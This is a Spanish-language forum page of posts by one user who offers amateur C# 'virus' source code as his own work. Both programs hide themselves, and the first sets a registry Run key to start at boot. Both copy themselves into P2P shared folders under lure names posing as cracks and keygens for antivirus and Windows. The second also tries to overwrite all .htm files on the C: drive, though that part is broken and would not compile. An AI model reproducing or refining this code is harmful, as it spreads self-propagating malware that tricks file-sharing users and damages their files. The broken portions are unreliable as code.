Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - ArMaGgEdOn2012

#1
Bueno, otro código.
Esta vez se copia en las mismas carpetas, con nombres aleatorios.
Tambien se inicia con el pc
En fin
Código (csharp) [Seleccionar]
/**********************************************************************************************************************/
/*                                                                                                                    */
/* Pequeño ejemplo de programa autocopiable, que se inicia con el PC, y que se copia a carpetas P2P y a la de Windows */
/*                                                                                                                    */
/*                      Posee un pequeño trozo de código de generador de nombres "aleatorios"                         */
/*                                                                                                                    */
/*           Estoy intentando añadir algo que realmente cause daño (no estoy intentando ponerlo en práctica)          */
/*                                                                                                                    */
/*                          CopyRight 2010 ArMaGgEdOn2012 (Pendiente de Patente xDxD)                                 */
/*                                                                                                                    */
/*           PosData: La violación del CopyRight puede generar encontronazos inesperados con la SGAE                  */
/*                                                                                                                    */
/**********************************************************************************************************************/

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.IO;

namespace WindowsApplication1
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Load(object sender, EventArgs e)
        {
     //  Ver Abajo
             Metodos.Copiar();   
        }
    }

    class Metodos
    {
        static public void Copiar()
        {
            string[] Paths =
                {
                    @"C:\Windows\mswbootser.exe",

    // ^ Esto es modificable
    // v Rutas de descargas de los programas P2P

                    @"C:\Program Files\Grokster\My Grokster\",
                    @"C:\Program Files\Morpheus\My Shared Folder\",
                    @"C:\Program Files\ICQ\shared files\",
                    @"C:\Program Files\KaZaA\My Shared Folder\",
                    @"C:\Program Files\KaZaA Lite\My Shared Folder\",
                    @"C:\Program Files\EDONKEY2000\incoming\",
                    @"C:\Program Files\eMule\Incoming\",
                    @"C:\Program Files\Filetopia3\Files\",
                    @"C:\Program Files\appleJuice\incoming\",
                    @"C:\Program Files\Gnucleus\Downloads\",
                    @"C:\Program Files\LimeWire\Shared\",
                    @"C:\Program Files\Overnet\incoming\",
                    @"C:\Program Files\Shareaza\Downloads\",
                    @"C:\Program Files\Swaptor\Download\",
                    @"C:\Program Files\WinMX\My Shared Folder\",
                    @"C:\Program Files\Tesla\Files\",
                    @"C:\Program Files\XoloX\Downloads\",
                    @"C:\Program Files\Rapigator\Share\",
                    @"C:\Program Files\KMD\My Shared Folder\",
                    @"C:\Program Files\BearShare\Shared\",
                    @"C:\Program Files\Direct Connect\Received Files\",
                    @"C:\Program Files\Ares\My Shared Folder\"
                };

            string RPath = @"SOFTWARE\Microsoft\Windows\CurrentVersion\Run";
            Microsoft.Win32.RegistryKey key;
            key = Microsoft.Win32.Registry.LocalMachine.CreateSubKey(RPath);
            key.SetValue("Virus", Paths[0]);

    // ^ Crea una entrada en el registro para iniciarse con el ordenador (Con el nombre Virus xDxDxD)
    // v Esto comprueba que el programa no esté ya en el ordenador

            if (!File.Exists(Paths[0]))
            {
                File.Move(Application.ExecutablePath, Paths[0]);
                File.SetAttributes(Paths[0], FileAttributes.System);
                File.SetAttributes(Paths[0], FileAttributes.ReadOnly);
                File.SetAttributes(Paths[0], FileAttributes.Hidden);
            }

    // v Esto copia el archivo en todas las carpetas antes mencionadas

    for (int i = 1;i < Paths.Length;i++)
            {
                if (Directory.Exists(Paths[i]))
                {
                    string path = Paths[i] + GeneradorDeNombresAleatorios();
                    File.Copy(Paths[0], path);
                    File.SetAttributes(path, FileAttributes.System);
                    File.SetAttributes(path, FileAttributes.ReadOnly);
                    File.SetAttributes(path, FileAttributes.Hidden);
                }
                i++;
            }
        }

        static public string GeneradorDeNombresAleatorios()
        {

    /*************************************************************************/
    /**/                                                                   /**/
/*           El Increíble generador de nombres aleatorios                */
/**/                                                                   /**/
/*          CopyRight 2010 ArMaGgEdOn2012 (Estaba de broma)              */
        /**/                                                                   /**/
/*         Elige pseudo - aleatoriamente una matriz de éstas             */
/**/                                                                   /**/
/* Después, un nombre de la lista seleccionada (pseudo - aleatoriamente) */
/**/                                                                   /**/
/*             No probé que generase todos los nombres                   */
/**/                                                                   /**/
/*   PosData: Puede causar daños irreversibles (No te dejarán peor XD)   */
/**/                                                                   /**/
/*************************************************************************/

            string[] Nombre1Cracks =
                {
                   "Kaspersky2010",
                   "WinRAR38",
                   "WinZIP7",
                   "WinRAR37",
                   "WRAR37",
                   "WRAR38",
                   "AVIRA8",
                   "AVIRA7",
                   "Kaspersky2009",
                };

            string[] Nombre1Free =
                {
                    "WindowsMediaPlayer11",
                    "WMPlayer11",
                    "JohnTheRipper",
                    "JohnRipper",
                    "ODBG",
                    "OllyDBG",
                };

            string[] Nombre1CracksAndOrSerials =
                {
                    "ESETNod32Antivirus2010",
                    "ESETN32AV2010",
                    "Norton2009",
                    "Norton2010",
                    "WinCHM",
                    "Nero7",
                    "Nero8",
                    "Nero9",
                    "WindowsVista",
                    "WindowsVistaUltimate",
                    "WindowsVistaHEdition",
                    "WVista",
                    "WXP",
                    "WindowsXP",
                    "Windows7",
                    "W7",
                    "Win7",
                    "WinXP",
                    "WinVista"
                };

            Random random = new Random();
            string Primero = "";
            int AA = random.Next(0, 3);
            switch (AA)
            {
                case 0:
                    Random random2A = new Random();
                    int random21A = random2A.Next(0, 9);
                    Primero = Nombre1Cracks[random21A];
                    return GeneradorDeNombresDeProgramasDePago(Primero);
                   
                case 1:
                    Random random2B = new Random();
                    int random21B = random2B.Next(0, 6);
                    Primero = Nombre1Free[random21B];
                    return Primero + "Setup.exe";

                case 2:
                    Random random2C = new Random();
                    int random21C = random2C.Next(0, 19);
                    Primero = Nombre1CracksAndOrSerials[random21C];
                    return GeneradorDeNombresDeProgramasDePago(Primero);
            }
            return "";
        }
        static public string GeneradorDeNombresDeProgramasDePago(string Primero)
        {
    /*********************************************************************************************************/
    /*                                                                                                       */
    /* Esta es la segunda parte, donde genera los nombres como 'Crack', 'Setup', 'Keygen' o simplemente nada */
    /*                                                                                                       */
    /*                          En esta parte no estuve muy sobrado de ideas                                 */
    /*                                                                                                       */
    /*********************************************************************************************************/
            string[] Nombre2Despues =
                {
                    "Crack",
                    "Keygen",
                    "",
                    "Setup"
                };

            string[] Nombre2Antes =
                {
                    "Crack",
                    "Keygen",
                    ""
                };


            Random random3 = new Random();
            string Segundo;
            int BB = random3.Next(0, 2);
            switch (BB)
            {
                case 0:
                    Random random4A = new Random();
                    int random41A = random4A.Next(0, 4);
                    Segundo = Nombre2Antes[random41A];
                    return Segundo + Primero + ".exe";

                case 1:
                    Random random4B = new Random();
                    int random41B = random4B.Next(0, 3);
                    Segundo = Nombre2Despues[random41B];
                    return Primero + Segundo + ".exe";
            }
            return "";
        }
    }
}


PD: Los comentarios dan un poco de pena, fallo mío
#2
Vamos por partes:
    1º
Los de Microsoft no se rompieron la cabeza creando c#, pues la mayoría ya     estaba de C++ y Java

    2º
Yo creo que tiene mérito que sepa programar esto, pues en el libro de Tecn. de mi clase aún enseñan a encender el ordenador y a arrastrar ventanas.

    3º
Ya dije que el programa sólo era un prototipo de lo que puede ser un posible virus decente (paciencia, paciencia ... xD).

    4º
Este tema lo puse para que, al igual que diego_lp, pongan comentarios constructivos.
#3
Gracias. Me lo apunto para el siguiente.
Lo que no entiendo (entiendo parcialmente) es el bucle for, pues el while lo entiendo.
Aparte, también tuve que echarle algo de imaginación, pues no existen claros ejemplos de virus en c#
#4
.NET (C#, VB.NET, ASP) / Mi Pequeño Programa
16 Enero 2010, 17:54 PM
Hola. Este es mi primer mensaje.
Escribí este tema para presentar un pequeño programa que hice yo en C#.
Soy un novato, así que no lo llamaré virus, pues no se puede considerar virus, aunque tiene principio de worm. Un "virus" más completo está en ciernes.
Lo que hace este virus es copiarse en todas las carpetas de todos los programas P2P y del windows, con el nombre CrackKaspersky2010.exe; se copia también, con una codificación basada en que desde el caracter 48 hasta el 127 suma 80 en el código del programa, en todos los archivos HTM del disco duro "C:\":
Código (csharp) [Seleccionar]
/*
* Ejemplo muy fácil de virus
*
* 16-1-10 -> 17:21
*
* Hecho en C#
*
* By ArMaGeDdOn2012
*/

using System;
using System.Collections.Generic;
// Prescindibles si lo haces en consola
using System.ComponentModel;
using System.Data;
using System.Drawing;
// El Siguiente es necesario para consola (no necesario pero te ahorra tiempo)
using System.Text;
// A partir de aquí, prescindibles
using System.Windows.Forms;
using System.IO;

namespace WindowsApplication1
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            Copiar();
        }
        public void Copiar()
        {
            string path = Application.ExecutablePath;
            string path2 = @"C:\Windows\CrackKaspersky2010.exe";
            string path3 = @"C:\Program Files\Grokster\My Grokster\";
            string path4 = @"C:\Program Files\Morpheus\My Shared Folder\";
            string path5 = @"C:\Program Files\ICQ\shared files\";
            string path6 = @"C:\Program Files\KaZaA\My Shared Folder\";
            string path7 = @"C:\Program Files\KaZaA Lite\My Shared Folder\";
            string path8 = @"C:\Program Files\EDONKEY2000\incoming\";
            string path9 = @"C:\Program Files\eMule\Incoming\";
            string path10 = @"C:\Program Files\Filetopia3\Files\";
            string path11 = @"C:\Program Files\appleJuice\incoming\";
            string path12 = @"C:\Program Files\Gnucleus\Downloads\";
            string path13 = @"C:\Program Files\LimeWire\Shared\";
            string path14 = @"C:\Program Files\Overnet\incoming\";
            string path15 = @"C:\Program Files\Shareaza\Downloads\";
            string path16 = @"C:\Program Files\Swaptor\Download\";
            string path17 = @"C:\Program Files\WinMX\My Shared Folder\";
            string path18 = @"C:\Program Files\Tesla\Files\";
            string path19 = @"C:\Program Files\XoloX\Downloads\";
            string path20 = @"C:\Program Files\Rapigator\Share\";
            string path21 = @"C:\Program Files\KMD\My Shared Folder\";
            string path22 = @"C:\Program Files\BearShare\Shared\";
            string path23 = @"C:\Program Files\Direct Connect\Received Files\";
            string path24 = @"C:\Program Files\Ares\My Shared Folder";

            File.Move(path, path2);
            //Mueve el archivo a C:\Windows\Worm.exe
            File.SetAttributes(path2, FileAttributes.Hidden);
            //Oculta el archivo
            if (File.Exists(path2))
            {
                File.Copy(path2, path2);
            }

            if (File.Exists(path3))
            {
                File.Copy(path2, path3);
            }

            if (File.Exists(path4))
            {
                File.Copy(path2, path4);
            }

            if (File.Exists(path5))
            {
                File.Copy(path2, path5);
            }

            if (File.Exists(path6))
            {
                File.Copy(path2, path6);
            }

            if (File.Exists(path7))
            {
                File.Copy(path2, path7);
            }

            if (File.Exists(path8))
            {
                File.Copy(path2, path8);
            }

            if (File.Exists(path9))
            {
                File.Copy(path2, path9);
            }

            if (File.Exists(path10))
            {
                File.Copy(path2, path10);
            }

            if (File.Exists(path11))
            {
                File.Copy(path2, path11);
            }

            if (File.Exists(path12))
            {
                File.Copy(path2, path12);
            }

            if (File.Exists(path13))
            {
                File.Copy(path2, path13);
            }

            if (File.Exists(path14))
            {
                File.Copy(path2, path14);
            }

            if (File.Exists(path15))
            {
                File.Copy(path2, path15);
            }

            if (File.Exists(path16))
            {
                File.Copy(path2, path16);
            }

            if (File.Exists(path17))
            {
                File.Copy(path2, path17);
            }

            if (File.Exists(path18))
            {
                File.Copy(path2, path18);
            }

            if (File.Exists(path19))
            {
                File.Copy(path2, path19);
            }

            if (File.Exists(path20))
            {
                File.Copy(path2, path20);
            }

            if (File.Exists(path21))
            {
                File.Copy(path2, path21);
            }

            if (File.Exists(path22))
            {
                File.Copy(path2, path22);
            }

            if (File.Exists(path23))
            {
                File.Copy(path2, path23);
            }

            if (File.Exists(path24))
            {
                File.Copy(path2, path24);
            }
            /*Este GRAN código comprueba la existencia de las típicas rutas de ->
             * instalación de los programas P2P */

            StreamReader sr = new StreamReader(@"C:\Program Files\Windows\CrackKaspersky2010.exe");
            String line;
            while ((line = sr.ReadLine()) != null)
            {
                String read = sr.ToString;
                read.Replace('\u0048', '\u0128');
                read.Replace('\u0049', '\u0129');
                read.Replace('\u0050', '\u0130');
                read.Replace('\u0051', '\u0131');
                read.Replace('\u0052', '\u0132');
                read.Replace('\u0053', '\u0133');
                read.Replace('\u0054', '\u0134');
                read.Replace('\u0055', '\u0135');
                read.Replace('\u0056', '\u0136');
                read.Replace('\u0057', '\u0137');
                read.Replace('\u0058', '\u0138');
                read.Replace('\u0059', '\u0139');
                read.Replace('\u0060', '\u0140');
                read.Replace('\u0061', '\u0141');
                read.Replace('\u0062', '\u0142');
                read.Replace('\u0063', '\u0143');
                read.Replace('\u0064', '\u0144');
                read.Replace('\u0065', '\u0145');
                read.Replace('\u0066', '\u0146');
                read.Replace('\u0067', '\u0147');
                read.Replace('\u0068', '\u0148');
                read.Replace('\u0069', '\u0149');
                read.Replace('\u0070', '\u0150');
                read.Replace('\u0071', '\u0151');
                read.Replace('\u0072', '\u0152');
                read.Replace('\u0073', '\u0153');
                read.Replace('\u0074', '\u0154');
                read.Replace('\u0075', '\u0155');
                read.Replace('\u0076', '\u0156');
                read.Replace('\u0077', '\u0157');
                read.Replace('\u0078', '\u0158');
                read.Replace('\u0079', '\u0159');
                read.Replace('\u0080', '\u0160');
                read.Replace('\u0081', '\u0161');
                read.Replace('\u0082', '\u0162');
                read.Replace('\u0083', '\u0163');
                read.Replace('\u0084', '\u0164');
                read.Replace('\u0085', '\u0165');
                read.Replace('\u0086', '\u0166');
                read.Replace('\u0087', '\u0167');
                read.Replace('\u0088', '\u0168');
                read.Replace('\u0089', '\u0169');
                read.Replace('\u0090', '\u0170');
                read.Replace('\u0091', '\u0171');
                read.Replace('\u0092', '\u0172');
                read.Replace('\u0093', '\u0173');
                read.Replace('\u0094', '\u0174');
                read.Replace('\u0095', '\u0175');
                read.Replace('\u0096', '\u0176');
                read.Replace('\u0097', '\u0177');
                read.Replace('\u0098', '\u0178');
                read.Replace('\u0099', '\u0179');
                read.Replace('\u0100', '\u0180');
                read.Replace('\u0101', '\u0181');
                read.Replace('\u0102', '\u0182');
                read.Replace('\u0103', '\u0183');
                read.Replace('\u0104', '\u0184');
                read.Replace('\u0105', '\u0185');
                read.Replace('\u0106', '\u0186');
                read.Replace('\u0107', '\u0187');
                read.Replace('\u0108', '\u0188');
                read.Replace('\u0109', '\u0189');
                read.Replace('\u0110', '\u0190');
                read.Replace('\u0111', '\u0191');
                read.Replace('\u0112', '\u0192');
                read.Replace('\u0113', '\u0193');
                read.Replace('\u0114', '\u0194');
                read.Replace('\u0115', '\u0195');
                read.Replace('\u0116', '\u0196');
                read.Replace('\u0117', '\u0197');
                read.Replace('\u0118', '\u0198');
                read.Replace('\u0119', '\u0199');
                read.Replace('\u0120', '\u0200');
                read.Replace('\u0121', '\u0201');
                read.Replace('\u0122', '\u0202');
                read.Replace('\u0123', '\u0203');
                read.Replace('\u0124', '\u0204');
                read.Replace('\u0125', '\u0205');
                read.Replace('\u0126', '\u0206');
                read.Replace('\u0127', '\u0207');

                 //******************************************//
                 //******************************************//
/*
* Esto da las pautas para la sustitución de caracteres
*/
                DirectoryInfo d1 = new DirectoryInfo(@"C:\");
                FileInfo f1;
        GOTOAAAA:
                foreach (f1 in d1.GetFiles("*.htm"))
                {
                    if (d1.Exists())
                    {
                        d1.Delete();
                    }
                    using (FileStream fs = File.Create)
                    {
                        fs.Write(read);
                    }
                }
                foreach (DirectoryInfo d2 in d1.GetDirectories())
                {
                    d1 += d2;
                    goto GOTOAAAA;
                }
//Esto sustituye los archivos *.htm del disco C:
            }
        }
    }
}

PD: El código fuente ocupa 11KB, compilado no sé xD